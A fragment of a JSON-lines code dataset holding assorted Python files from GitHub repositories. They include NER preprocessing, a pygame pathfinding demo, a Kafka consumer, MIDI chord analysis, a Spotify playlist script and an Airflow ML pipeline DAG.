%f\" % usage)\n\n plot_pts_and_convex(Pts, [convex_hull_list])\n\n # print('------Convex Hull--------')\n # print(convex_hull_list)\n\n start = time.time()\n # convex_hull_list = brute_hull(Pts, 0, len(Pts) - 1)\n usage = time.time() - start\n print('Brute: usage: %f' % usage)\n # plot_pts_and_convex(Pts, [convex_hull_list])\n\n","repo_name":"JamesYangJian/algorithm","sub_path":"python_alg/convex_hull.py","file_name":"convex_hull.py","file_ext":"py","file_size_in_byte":8280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"46748802874","text":"#!/usr/bin/env python \n# -*- coding:utf-8 _*- \n\"\"\"\n@Time:2022-03-17 20:48\n@Author:Veigar\n@File: 1.2.py\n@Github:https://github.com/veigaran\n\"\"\"\nimport os\nimport re\n\n\nclass Sequence:\n def __init__(self, folder, out_path):\n self.folder = folder\n self.out_path = out_path\n self.txt_path_list = []\n\n def get_all_txt_path(self):\n # path表示路径\n # 返回path下所有文件构成的一个list列表\n filelist = os.listdir(self.folder)\n name_list = []\n # 遍历输出每一个文件的名字和类型\n for item in filelist:\n name_list.append(item)\n return name_list\n\n def process(self):\n res = []\n txt_list = self.get_all_txt_path()\n for txt in txt_list:\n path = os.path.join(self.folder, txt)\n with open(path, 'r', encoding='utf') as f:\n text = f.read().replace('\\n', '')\n res.extend(self.word_process(text))\n with open(self.out_path, 'w', encoding='utf') as fw:\n for info in res:\n fw.write(info)\n\n @staticmethod\n def word_process(string):\n word_list = re.findall(r\".*?|[^]+\", string) # 提取内的内容\n temp = []\n for word in word_list:\n if word != '':\n if word == '。' or word == '!' or word == '?':\n temp.append(word + \"\\tO\" + \"\\n\\n\")\n else:\n if word[0] != '<':\n for w in word:\n if w == '。' or w == '!' or w == '?':\n temp.append(w + \"\\tO\" + \"\\n\\n\")\n else:\n temp.append(w + \"\\tO\" + \"\\n\")\n else:\n temp.append(word[10] + \"\\tB\" + '-TERM' + \"\\n\")\n for w in word[11:len(word) - 11]:\n temp.append(w + \"\\tI\" + '-TERM' + \"\\n\")\n temp.append(word[len(word) - 11] + \"\\tE\" + '-TERM' + \"\\n\")\n return temp\n\n\nif __name__ == '__main__':\n model = Sequence('data', '1.txt')\n model.process()\n","repo_name":"veigaran/NLP_ROAD","sub_path":"1-Linux使用及文本处理/1.2序列标注格式处理/1.2.py","file_name":"1.2.py","file_ext":"py","file_size_in_byte":2209,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"31650473195","text":"from collections.abc import Awaitable, Callable\nfrom functools import wraps\nfrom typing import ParamSpec, TypeVar\n\nfrom dependency_injector.wiring import Provide\nfrom telegram import Update\n\nfrom src.depends import Container\nfrom src.settings import Settings\n\nReturnType = TypeVar(\"ReturnType\")\nParameterTypes = ParamSpec(\"ParameterTypes\")\n\n\ndef delete_previous_message(\n coroutine: Callable[ParameterTypes, Awaitable[ReturnType]]\n) -> Callable[ParameterTypes, Awaitable[ReturnType]]:\n \"\"\"Декоратор для функций, отправляющих новые сообщения с inline-кнопками.\n После выполнения оборачиваемой функции удаляет сообщение с inline-кнопкой,\n нажатие на которую повлекло вызов оборачиваемой функции.\"\"\"\n\n @wraps(coroutine)\n async def wrapper(update: Update, *args: ParameterTypes.args, **kwargs: ParameterTypes.kwargs) -> ReturnType:\n result = await coroutine(update, *args, **kwargs)\n await update.callback_query.message.delete()\n return result\n\n return wrapper\n\n\ndef get_connection_url(\n telegram_id: int, external_id: int = None, settings: Settings = Provide[Container.settings]\n) -> str:\n \"\"\"Получение ссылки для связи аккаунта с ботом по external_id и telegram_id.\n В случае отсутствия external_id возвращает ссылку на страницу авторизации\"\"\"\n if external_id:\n return settings.PROCHARITY_URL_USER.format(external_id=external_id, telegram_id=telegram_id)\n return settings.PROCHARITY_URL_AUTH\n","repo_name":"Studio-Yandex-Practicum/ProCharity_back_2.0","sub_path":"src/bot/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"ru","doc_type":"code","stars":10,"dataset":"github-code","pt":"18"} +{"seq_id":"8772173660","text":"\"\"\"\nImplementation of unweighted, static grid size trajectory optimization algorithm\n\"\"\"\n\nfrom time import time, sleep\nfrom queue import PriorityQueue\nimport pygame\n\nRED = (255, 0, 0)\nGREEN = (0, 255, 0)\nBLUE = (0, 0, 255)\nYELLOW = (255, 255, 0)\nWHITE = (255, 255, 255)\nBLACK = (0, 0, 0)\nPURPLE = (128, 0, 128)\nORANGE = (255, 165, 0)\nGREY = (128, 128, 128)\nTURQUOISE = (64, 224, 208)\n\nROWS = 50\nWIDTH = 800\nSPOT_WIDTH = WIDTH // ROWS\n\npygame.display.set_caption(\"Pathfinding\")\nwindow = pygame.display.set_mode((WIDTH, WIDTH))\n\ngrid = []\nuser_path = []\n\nclass Spot:\n def __init__(self, row, col):\n self.row = row\n self.col = col\n self.came_from = None\n self.neighbors = None\n self.valid = False\n self.color = WHITE\n\n def is_closed(self):\n return self.color == RED\n\n def is_open(self):\n return self.color == GREEN\n\n def is_barrier(self):\n return self.color == BLACK\n\n def is_start(self):\n return self.color == ORANGE\n\n def is_end(self):\n return self.color == TURQUOISE\n\n def is_user_path(self):\n return self.color == BLUE\n\n def reset(self):\n self.color = WHITE\n if self in user_path:\n user_path.remove(self)\n\n def make_start(self):\n self.color = ORANGE\n\n def make_closed(self):\n self.color = RED\n\n def make_open(self):\n self.color = GREEN\n if self in user_path:\n user_path.remove(self)\n\n def make_barrier(self):\n self.color = BLACK\n\n def make_end(self):\n self.color = TURQUOISE\n\n def make_path(self):\n self.color = PURPLE\n \n def make_user_path(self):\n if self not in user_path:\n self.color = BLUE\n user_path.append(self)\n\n def reset_visited(self):\n self.valid = False\n if self.is_open() or self.is_closed() or (self.color == BLUE and not self in user_path):\n self.color = WHITE\n\n\n def get_valid_neighbors(self):\n neighbors = []\n def add_neighbor(neighbor, is_diagonal):\n if not neighbor.is_barrier():\n neighbors.append((neighbor, is_diagonal))\n\n if self.row < ROWS - 1:\n south = grid[self.row + 1][self.col]\n add_neighbor(south, False)\n if self.col < ROWS - 1:\n southeast = grid[self.row + 1][self.col + 1]\n #add_neighbor(southeast, True)\n if self.col > 0:\n southwest = grid[self.row + 1][self.col - 1]\n #add_neighbor(southwest, True)\n\n if self.row > 0:\n north = grid[self.row - 1][self.col]\n add_neighbor(north, False)\n if self.col < ROWS - 1:\n northeast = grid[self.row - 1][self.col + 1]\n #add_neighbor(northeast, True)\n if self.col > 0:\n northwest = grid[self.row - 1][self.col - 1]\n #add_neighbor(northwest, True)\n\n if self.col < ROWS - 1:\n east = grid[self.row][self.col + 1]\n add_neighbor(east, False)\n if self.col > 0:\n west = grid[self.row][self.col - 1]\n add_neighbor(west, False)\n\n return neighbors\n \n def draw(self):\n if self.color != WHITE:\n pygame.draw.rect(\n window,\n self.color,\n # (x, y, width)\n (self.row * SPOT_WIDTH, self.col * SPOT_WIDTH, SPOT_WIDTH, SPOT_WIDTH)\n )\n\ndef draw():\n window.fill(WHITE)\n\n # draw spots\n for row in grid:\n for spot in row:\n spot.draw()\n \"\"\"\n # draw grid\n for i in range(ROWS):\n pygame.draw.line(window, GREY, (0, i * SPOT_WIDTH), (WIDTH, i * SPOT_WIDTH))\n for j in range(ROWS):\n pygame.draw.line(window, GREY, (j * SPOT_WIDTH, 0), (j * SPOT_WIDTH, WIDTH))\n \"\"\"\n\n pygame.display.update()\n\ndef algorithm(start, end, ignore_valid):\n count = 0\n open_set = PriorityQueue()\n open_set.put((0, count, start))\n\n def h(spot):\n return abs(end.row - spot.row) + abs(end.col - spot.col)\n\n scores = {spot: float(\"inf\") for row in grid for spot in row}\n scores[start] = h(start) if ignore_valid else 0\n\n open_set_hash = {start}\n\n global user_path\n complete_path = [start, end, *user_path]\n \n \n for row in grid:\n for spot in row:\n spot.reset_visited()\n\n for spot in complete_path:\n spot.valid = True\n for neighbor, _ in spot.get_valid_neighbors():\n neighbor.valid = True\n\n while not open_set.empty():\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n\n current = open_set.get()[2]\n open_set_hash.remove(current)\n\n if current == end:\n user_path = []\n end.make_end()\n current = current.came_from\n while current is not start:\n current.make_user_path()\n current = current.came_from\n return scores[end]\n # return scores[end]\n\n for neighbor, is_diagonal in current.get_valid_neighbors():\n if scores[neighbor] == float(\"inf\") and (ignore_valid or neighbor.valid):\n neighbor.came_from = current\n scores[neighbor] = scores[current] + ((1.4 if is_diagonal else 1) + (h(neighbor) if ignore_valid else 0))\n if neighbor not in open_set_hash:\n count += 1\n open_set.put((scores[neighbor], count, neighbor))\n open_set_hash.add(neighbor)\n neighbor.make_open()\n \n\n if current != start:\n current.make_closed()\n \n # draw()\n \n return False\n\n\ndef make_grid():\n global grid\n grid = [[Spot(i, j) for j in range(ROWS)] for i in range (ROWS)]\n\ndef get_clicked_spot():\n y, x = pygame.mouse.get_pos()\n\n row = y // SPOT_WIDTH\n col = x // SPOT_WIDTH\n return grid[row][col]\n\ndef main():\n make_grid()\n\n start = None\n end = None\n\n run = True\n while run:\n draw()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n\n pressed = pygame.mouse.get_pressed()\n\n if pressed[0]: # LEFT\n spot = get_clicked_spot()\n if not start and spot != end:\n start = spot\n start.make_start()\n\n elif not end and spot != start:\n end = spot\n end.make_end()\n\n elif spot != end and spot != start:\n spot.make_barrier()\n\n elif pressed[1]: # MIDDLE\n spot = get_clicked_spot()\n if spot != end and spot != start and not spot.is_barrier():\n spot.make_user_path()\n\n elif pressed[2]: # RIGHT\n spot = get_clicked_spot()\n spot.reset()\n if spot == start:\n start = None\n elif spot == end:\n end = None\n\n if event.type == pygame.KEYDOWN:\n global user_path\n if event.key == pygame.K_SPACE and start and end:\n old_length = float(\"inf\")\n new_length = 0\n start_time = time()\n while True:\n old_length = new_length\n new_length = algorithm(start, end, False)\n # draw()\n if new_length == old_length:\n break\n print(\"User path took:\", time() - start_time)\n user_path = []\n\n if event.key == pygame.K_TAB and start and end:\n start_time = time()\n algorithm(start, end, True)\n user_path = []\n print(\"A* took:\", time() - start_time)\n\n if event.key == pygame.K_c:\n start = None\n end = None\n user_path = []\n make_grid()\n\n pygame.quit()\n\nmain()","repo_name":"anish-shanbhag/incremental-pathfinding","sub_path":"old/user-path.py","file_name":"user-path.py","file_ext":"py","file_size_in_byte":7079,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"37077001954","text":"from aiokafka import AIOKafkaConsumer\nfrom resource import ddb\nimport asyncio\nimport config\nimport json\n\nloop = asyncio.get_event_loop()\n\nasync def change_ddb_data(producer_data) :\n ddb_data = {\n \"URL\": producer_data[\"url\"],\n \"Date\": producer_data[\"date\"],\n \"Title\": producer_data[\"title\"],\n \"Cotents\": producer_data[\"contents\"],\n \"CotentPlainText\": producer_data[\"content_plain_text\"],\n \"Thumbnails\": producer_data[\"thumbnails\"],\n \"TargetKeyword\": producer_data[\"target_keyword\"],\n \"ChannelKeyname\": producer_data[\"channel_keyname\"],\n \"CRC\": int(producer_data[\"crc\"])\n }\n return ddb_data\n\nasync def consume():\n consumer = AIOKafkaConsumer(\n config.KAFKA_TOPIC,\n loop=loop,\n group_id=f'scraping_consummer',\n bootstrap_servers=config.KAFKA_HOST_LIST,\n auto_offset_reset=config.KAFKA_OFFSET_RESET,\n value_deserializer=lambda x: json.loads(x.decode('utf-8')),\n enable_auto_commit=False\n )\n print(\"-\"*10)\n print(f\"[INFO] KAFKA CONSUMMER INIT\")\n print(f\"[INFO] TOPIC : {config.KAFKA_TOPIC}\")\n print(f\"[INFO] HOSTS : {config.KAFKA_HOST_LIST}\")\n print(\"-\"*10)\n await consumer.start()\n try:\n async for msg in consumer:\n producer_data = msg.value\n ddb_data = await change_ddb_data(producer_data)\n ddb.insert_data(ddb_data)\n finally:\n await consumer.stop()\n\nloop.run_until_complete(consume())","repo_name":"EEVL-LAB/KafkaProvider","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"16935487243","text":"'''\n\nUniversity of Santo Tomas\nFaculty of Engineering\nElectronics Engineering Department\nFirst Term, AY 2019-2020\n\nMachine Problem\nECE2112: Advanced Computer Programming and Algorithms\n\nAaron Zabala & Marvin Wong\n2ECE-A\n\nCreate a program that plots the trajectory, from the initial height to the \nground, of a projectile accelerating both in the horizontal and vertical \ndirections. The program must accept the following as inputs:\n\n1. initial height of the projectile above the ground in meters\n2. magnitude of velocity in m/s\n3. the angle in degrees with respect to the +x-axis at which the projectile \n is fired\n4. x-component of the acceleration\n5. y-component of the acceleration\n\nThe program must also have error detection for the instance the user inputs \nzero acceleration for the vertical component. (If the vertical acceleration \nis zero, then there would be no free fall.) You may use the error command.\n\nDo not forget to put axis labels and grids on your plot. No restrictions on \nthe line style and width. Do not use white for the line color.\n\n'''\n\nimport matplotlib.pyplot as plt\nimport math\n\ndef projectilemotion(s0,v0,theta0,ax,ay):\n \n if ay==0:\n print(\"Error! Vertical acceleration (ay) cannot be 0.\")\n return \n\n x_values = [] # for storing x axis values\n y_values = [] # for storing y axis values\n \n # from trigonometry\n v0x = v0*math.cos(theta0*(3.141/180))\n v0y = v0*math.sin(theta0*(3.141/180))\n \n # initializing parameters\n t = 0\n x = 0\n y = s0 # initial height\n delta = 0.0001 # granularity in time in seconds\n \n # storing\n x_values.append(x)\n y_values.append(y)\n \n # performing simulation\n while(True):\n \n # incrementing time\n t = t+delta\n \n # calculate next time instants parameters\n x = v0x*t + (0.5)*ax*(t*t)\n y = v0y*t + (0.5)*ay*(t*t) + s0\n \n # storing\n x_values.append(x)\n y_values.append(y)\n \n # simulation breaking condition\n if y < delta:\n break\n \n # plotting the result of the simulation\n plt.plot(x_values,y_values) \n plt.xlabel('x axis')\n plt.ylabel('y axis')\n plt.title('Simulation of Projectile Motion') \n plt.show()","repo_name":"mdswong/MP.PYTHON","sub_path":"PROBLEM4.py","file_name":"PROBLEM4.py","file_ext":"py","file_size_in_byte":2224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35546418850","text":"import pandas as pd\nimport numpy as np\nimport re\nimport sys\n\n\ndef create_dataframe(filename):\n \"\"\"\n This function creates the initial dataframe from the raw .csv file, as created by mid2asc\n :param filename: The name of the file\n :return: A dataframe\n \"\"\"\n\n # The .csv contains seven fields\n df = pd.read_csv(filename, names=[\"time\", \"bar\",\n \"time_bar\", \"track\", \"channel\", \"note\", \"end_time\"])\n\n # Making sure the columns are string columns before eval\n df[[\"time\", \"time_bar\", \"end_time\"]] = df[[\"time\", \"time_bar\", \"end_time\"]].astype(\"str\")\n\n # The \"time\" column is time the note started playing as the number of quarter notes from\n # the beginning of the track. The column is in a fraction form. We use eval to convert\n # it to a float. Multiplying by 16 we can convert to sixty-fourth notes.\n # Since sixty-fourth notes is the lowest note value the number should always be an integer.\n df[\"int_time\"] = (df.time.apply(eval)*16).astype(\"int\")\n\n # Removing extra \")\" characters\n df[\"int_time_bar\"] = df.time_bar.apply(lambda x: x.replace(\")\", \"\"))\n\n # The \"time_bar\" column is time the note started playing as the number of quarter notes from\n # the beginning of the bar this note belongs to. The column is in a fraction form.\n # We use eval to convert it to a float. Multiplying by 16 we can convert to sixty-fourth notes.\n # Since sixty-fourth notes is the lowest note value the number should always be an integer.\n df[\"int_time_bar\"] = (df.int_time_bar.apply(eval)*16).astype(\"int\")\n\n # The \"end_time\" column is time the note stopped playing as the number of quarter notes from\n # the time the note started playing, shown in the \"time\" column. The column is in a\n # fraction form. We use eval to convert it to a float. Multiplying by 16 we can convert to\n # sixty-fourth notes. Since sixty-fourth notes is the lowest note value the number should\n # always be an integer.\n df[\"int_end_time\"] = (df.end_time.apply(eval)*16).astype(\"int\")\n\n # The duration of a note is the \"end_time\" as defined above\n df[\"dur\"] = df[\"int_end_time\"]\n # We convert the \"end_time\" to be the time the note stopped playing counting from the\n # beginning of the track\n df[\"int_end_time\"] = df.int_end_time + df.int_time\n\n return df\n\n\ndef create_arrays(raw_df):\n \"\"\"\n This function extracts the notes array, the start time array and the end time array\n from the dataframe\n :param raw_df: The dataframe containing all the necessary columns\n :return: Three numpy arrays\n \"\"\"\n\n # Extracting the arrays\n notes_array = np.array(raw_df[\"note\"])\n start_array = np.array(raw_df[\"int_time\"])\n end_array = np.array(raw_df[\"int_end_time\"])\n\n return notes_array, start_array, end_array\n\n\ndef create_notes_dic(raw_df):\n \"\"\"\n This functions creates a dictionary with keys the time elapsed since the beginning of the track\n in sixty-four notes intervals. The values of each key are lists of the notes that are played\n during that time of the track.\n :param raw_df: The initial dataframe\n :return: A dictionary as described above\n \"\"\"\n\n # First we extract the relevant columns from the initial dataframe\n notes_array, start_array, end_array = create_arrays(raw_df)\n n = end_array[-1]\n nums_dic = {}\n\n # A note is included in a key's list, if the key (the sixty-fourth note since the beginning\n # of the track) is within the interval the note is played (end_time - start_time)\n for num in range(0, n+1):\n common_indexes = np.logical_and(end_array > num, start_array <= num)\n nums_dic[num] = [notes_array[common_indexes]]\n\n return nums_dic\n\n\ndef convert_notes(note_list):\n \"\"\"\n This function converts a list of notes with pitch indicators (such as ' or -) to a list of notes\n with no indication of pitch. Only unique notes are included in the final list.\n :param note_list: The initial list of notes\n :return: The converted list of notes as a tuple\n \"\"\"\n\n conv_set = set()\n for item in note_list:\n note = re.sub('[\\'-]+', '', item)\n conv_set.add(note)\n conv_list = list(conv_set)\n conv_list.sort()\n\n return tuple(conv_list)\n\n\ndef create_final_df(df_dic):\n \"\"\"\n This function creates a dataframe using the dictionary created by the create_notes_dic function.\n Also, the \"notes\" column is converted using the convert_notes function\n :param df_dic: A dictionary which is the output of the create_notes_dic function\n :return: The final dataframe to be used by export_csv functions\n \"\"\"\n ndf = pd.DataFrame.from_dict(df_dic, orient='index', columns=[\"notes\"])\n ndf[\"converted_notes\"] = ndf.notes.apply(lambda x: convert_notes(x))\n ndf[\"chords\"] = ndf[\"converted_notes\"].apply(\" \".join)\n\n return ndf\n\n\ndef export_notes_csv(df, filename, outfilename):\n \"\"\"\n This function exports a .csv file with the notes' counts.\n :param df: An already processed dataframe\n :param filename: The filename of the input file of the script\n :param outfilename: The filename of the exported .csv file\n\n \"\"\"\n df[\"notes_clean\"] = df.note.apply(lambda x: re.sub('[\\'-]+', '', x))\n notes_counts_df = (df.groupby(\"notes_clean\").sum()[\"dur\"] / 16).sort_values(\n ascending=False).reset_index()\n\n notes_counts_df[\"title\"] = filename\n notes_counts_df.to_csv(outfilename, sep=\";\", index=False, header=False)\n\n\ndef export_chords_csv(df, filename, outfilename):\n \"\"\"\n This function exports a .csv file with the chords' counts.\n :param df: An already processed dataframe\n :param filename: The filename of the input file of the script\n :param outfilename: The filename of the exported .csv file\n\n \"\"\"\n comb_counts_df = (df.groupby('chords')['notes'].count() / 16).sort_values(\n ascending=False).reset_index()\n comb_counts_df[\"title\"] = filename\n comb_counts_df.to_csv(outfilename, sep=\";\", index=False, header=False)\n\n\ndef export_chords_string(df, filename, outfilename):\n \"\"\"\n This function exports a .csv file with the a string of the progression of chords.\n The file is formatted as .csv with the first field being the input filename and the second field\n being the string\n :param df: An already processed dataframe\n :param filename: The filename of the input file of the script\n :param outfilename: The filename of the exported .csv file\n\n \"\"\"\n mask = df.converted_notes != df.converted_notes.shift()\n progr_df = df[mask].copy()\n progr_df[\"word_chords\"] = progr_df[\"converted_notes\"].apply(\"\".join)\n string = \" \".join(progr_df[\"word_chords\"]).strip()\n dic = {'file': filename, 'string': string}\n fin_df = pd.DataFrame(dic, index=[0])\n fin_df.to_csv(outfilename, sep=\";\", index=False, header=False)\n\n\n\n########################## MAIN ##########################\n\n\n# Get the filename\nfile = sys.argv[1]\n\n# Create the output file names for notes, chords and chords string\nnotes_outfile = \"./notes/notes_\" + file\nchords_outfile = \"./chords/chords_\" + file\nchords_string_file = \"./strings/strings_\" + file\n\n\n####### Initial processing #######\n\n# Create the initial dataframe\ninitial_df = create_dataframe(file)\n\n# Create the notes dictionary\nnotes_dic = create_notes_dic(initial_df)\n\n# Create the final dataframe\nfinal_df = create_final_df(notes_dic)\n\n\n####### Export the files #######\n\n# Create the notes file\nexport_notes_csv(initial_df, file, notes_outfile)\n# Create the chords file\nexport_chords_csv(final_df, file, chords_outfile)\n# Create the chords string file\nexport_chords_string(final_df, file, chords_string_file)","repo_name":"dmanolidis/bachmidi","sub_path":"MIDI/process_midi.py","file_name":"process_midi.py","file_ext":"py","file_size_in_byte":7666,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"23955644705","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('services', '0020_auto_20160426_0914'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='service',\n name='price',\n field=models.DecimalField(verbose_name='service price', blank=True, max_digits=6, null=True, decimal_places=0),\n ),\n ]\n","repo_name":"danielliude/reismann_pub","sub_path":"services/migrations/0021_auto_20160529_1659.py","file_name":"0021_auto_20160529_1659.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4743670184","text":"from pyecharts import WordCloud\r\n\r\nf = open(\"wordcloud.txt\", \"r\", encoding=\"utf-8\")\r\nl = f.readlines()\r\nname = []\r\nvalue = []\r\nfor i in l:\r\n if i.startswith(\"#\") == True:\r\n continue\r\n name.append(i.split()[0])\r\n value.append(i.split()[1])\r\n# myWordCloud = WordCloud(\"Word Cloud\", width = 1000, height = 640)\r\n# myWordCloud.add(\"\", name, value, word_size_range=[20, 100])\r\n# print(myWordCloud)\r\n\r\ndef wordcloud_build() -> WordCloud:\r\n c = (\r\n WordCloud(\"Word Cloud\", width = 1000, height = 640)\r\n .add(\"\", name, value, word_size_range=[20, 100])\r\n # .set_global_opts(title_opts=opts.TitleOpts(title=\"WordCloud-基本示例\"))\r\n .render('./Word_Cloud.html')\r\n )\r\n return c\r\n\r\nwordcloud_build()\r\n","repo_name":"RipperJ/City-Noise-Analysis--Hangzhou","sub_path":"buildcloud.py","file_name":"buildcloud.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71035853799","text":"gift_list = input().split(\" \")\ncommand = str(input())\nfinal_list = \"\"\n\nwhile command != \"No Money\":\n action = command.split(\" \")\n\n if action[0] == \"OutOfStock\":\n for index in range(len(gift_list)):\n if gift_list[index] == action[1]:\n gift_list[int(index)] = \"None\"\n elif action[0] == \"Required\":\n if len(gift_list) >= int(action[2]) >= 0:\n gift_list[int(action[2])] = action[1]\n elif action[0] == \"JustInCase\":\n gift_list[-1] = action[1]\n command = str(input())\n\nfor gift in gift_list:\n if gift != \"None\":\n final_list += gift + \" \"\n\nprint(final_list)","repo_name":"MartinKStoykov/SoftUni-Python-Fundamentals","sub_path":"p03_lists_basics/exercises/easter_gifts.py","file_name":"easter_gifts.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"16994086035","text":"from datetime import datetime\nfrom datetime import timedelta\nimport airflow\nfrom airflow import DAG\nfrom airflow.operators.python_operator import PythonOperator\nfrom airflow.operators.bash_operator import BashOperator\nfrom airflow.models import Variable\nfrom src import animal_classifier\nimport os\n\ngit_repo_path = '/opt/airflow/repository'\n\ngit_repo = Variable.get(\"GIT_REPO_URL\")\ngit_username = Variable.get(\"GIT_USERNAME\")\ngit_token = Variable.get(\"GIT_TOKEN\")\n \ngit_repo_url = f'https://{git_username}:{git_token}@{git_repo}'\n\nwith DAG(\n 'ml_pipeline',\n start_date=datetime.utcnow(),\n schedule_interval=None,\n catchup=False\n) as dag:\n \n load_repo = BashOperator(\n task_id='load_repo',\n bash_command=f'cd {git_repo_path} && ' + \\\n f'git pull {git_repo_url} main --verbose'\n )\n \n load_data = BashOperator(\n task_id='load_data',\n bash_command=f'cd {git_repo_path} && ' + \\\n f'dvc pull --verbose'\n )\n \n train_model_op = PythonOperator(\n task_id='train_model',\n python_callable=animal_classifier.train_model,\n )\n \n dvc_sync = BashOperator(\n task_id='dvc_sync',\n bash_command=f'cd {git_repo_path} && ' + \\\n f'dvc add stage.pth --verbose && dvc push --verbose'\n )\n \n git_sync = BashOperator(\n task_id='git_sync',\n bash_command=f'cd {git_repo_path} && ' + \\\n f'git config --global user.email \"kiral.danylo@gmail.com\" && ' + \\\n f'git config --global user.name \"Danylo (via Airflow)\" && ' + \\\n f'git add stage.pth.dvc && git commit -m \"model retrained from airflow\" && git push {git_repo_url} main --verbose'\n )\n \n build_image = BashOperator(\n task_id='build_image',\n bash_command=f'latest_build=$(bentoml get AnimalClassifierService:latest --print-location --quiet) && ' + \\\n f'docker build -t animal-recognition-bentoml-api $latest_build'\n )\n \n run_image = BashOperator(\n task_id='run_image',\n bash_command=f'docker run --name animal-recognition-bentoml-api -p 5000:5000 -p 6006:6006 -d animal-recognition-bentoml-api && ' + \\\n 'docker network connect --alias animal-recognition-app mlops-project_default animal-recognition-bentoml-api'\n )\n \n load_repo >> load_data >> train_model_op >> dvc_sync >> git_sync >> build_image >> run_image\n \n ","repo_name":"DanyloKiral/mlops-project","sub_path":"dags/ml-pipeline.py","file_name":"ml-pipeline.py","file_ext":"py","file_size_in_byte":2415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30132264090","text":"import spotipy, dotenv, os, time\nfrom spotipy.oauth2 import SpotifyOAuth\n\n\n# Logging with timestamps\ndef log(msg):\n print(f\"[{time.strftime('%H:%M:%S')}] {msg}\")\n\n\nDELETE_AFTER_ADD = True\n\ndotenv.load_dotenv()\n\nPLAYLIST_ID = os.getenv(\"PLAYLIST_ID\")\n\nscope = \"user-library-read, playlist-modify-public, playlist-modify-private, playlist-read-private, user-library-modify\"\n\nsp = spotipy.Spotify(auth_manager=SpotifyOAuth(scope=scope))\n\n\ndef main():\n while True:\n try:\n # Get the user's saved tracks\n saved = sp.current_user_saved_tracks()\n playlist = sp.user_playlist(\"spotify\", PLAYLIST_ID)\n\n if not saved[\"items\"] or not playlist[\"tracks\"][\"items\"]:\n log(\"Unable to fetch saved tracks or playlist, retrying on next loop\")\n time.sleep(30)\n continue\n\n # Add any new tracks to the playlists\n for item in saved[\"items\"]:\n track = item[\"track\"]\n if track[\"id\"] not in [\n t[\"track\"][\"id\"] for t in playlist[\"tracks\"][\"items\"]\n ]:\n log(\n f\"Adding {track['name']} by {track['artists'][0]['name']} to playlist\"\n )\n sp.playlist_add_items(PLAYLIST_ID, [track[\"id\"]])\n if DELETE_AFTER_ADD:\n log(f\"Deleting {track['name']} from saved tracks\")\n sp.current_user_saved_tracks_delete([track[\"id\"]])\n else:\n log(\n f\"{track['name']} by {track['artists'][0]['name']} already in playlist\"\n )\n except TimeoutError:\n log(\"Timeout error, retrying on next loop\")\n\n # Sleep for 1 min\n log(\"Loop finished, sleeping for 30 seconds\")\n time.sleep(30)\n\n\ntry:\n main()\nexcept:\n log(\"Error detected, retrying in one minute\")\n time.sleep(60)\n main()\n","repo_name":"george-593/spotify-add-likes-to-playlist","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74876910760","text":"from airflow.models import BaseOperator\n\nfrom processors.base import Processor\nfrom sinks.base import Sink\nfrom sources.base import Source\n\nimport traceback\n\nclass GenericOperator(BaseOperator):\n def __init__(\n self,\n source: Source=Source(),\n sink: Sink=Sink(),\n processor: Processor=Processor(),\n *args,\n **kwargs\n ):\n super(GenericOperator, self).__init__(*args, **kwargs)\n self.source = source\n self.sink = sink\n self.processor = processor\n\n def execute(self, context):\n iteration = 0\n msg = \"\"\n status = \"success\"\n\n data_count = 0\n tmp_context = {\"iteration\": iteration, \"generic_operator\": self, \"error\": None}\n new_ctx = {**context, **tmp_context}\n\n try:\n data_count_total = 0\n while self.source.has_next():\n self.log.info(\"Retrieving data\")\n \n self.source.render(new_ctx)\n input = self.source.get(new_ctx)\n\n self.log.info(\"Processing data\")\n processed = self.processor.process(input, new_ctx)\n \n data_count_total += self.processor.count()\n\n self.log.info(\"Outputting data\")\n self.sink.put(processed, new_ctx)\n\n new_ctx[\"iteration\"] += 1\n\n msg = self.source.get_msg() + \" \" + self.processor.get_msg() + \" \" + self.sink.get_msg()\n\n data_count = self.processor.count()\n if data_count == 0:\n data_count = self.sink.count()\n if data_count == 0:\n data_count = self.source.count()\n\n self.log.info(msg)\n\n except Exception as e:\n msg = traceback.format_exc()\n data_count = 0\n status = None\n new_ctx[\"error\"] = e\n self.log.error(msg)\n\n finally:\n self.sink.close()\n self.processor.close()\n self.source.close()\n \n if status is None:\n raise ValueError(msg)\n","repo_name":"lastcoala/airflow-k8s","sub_path":"dags/operators/generic_operator.py","file_name":"generic_operator.py","file_ext":"py","file_size_in_byte":2079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"11020537608","text":"import os\nimport random\n\nimport xlsxwriter\n\nfrom flask import Response\n\n\ndef create_xls():\n random_integer = random.randint(1, 2147483647)\n random_int = random.randint(1, 2147483647)\n filename = f'{random_integer}_{random_int}.xlsx'\n if not 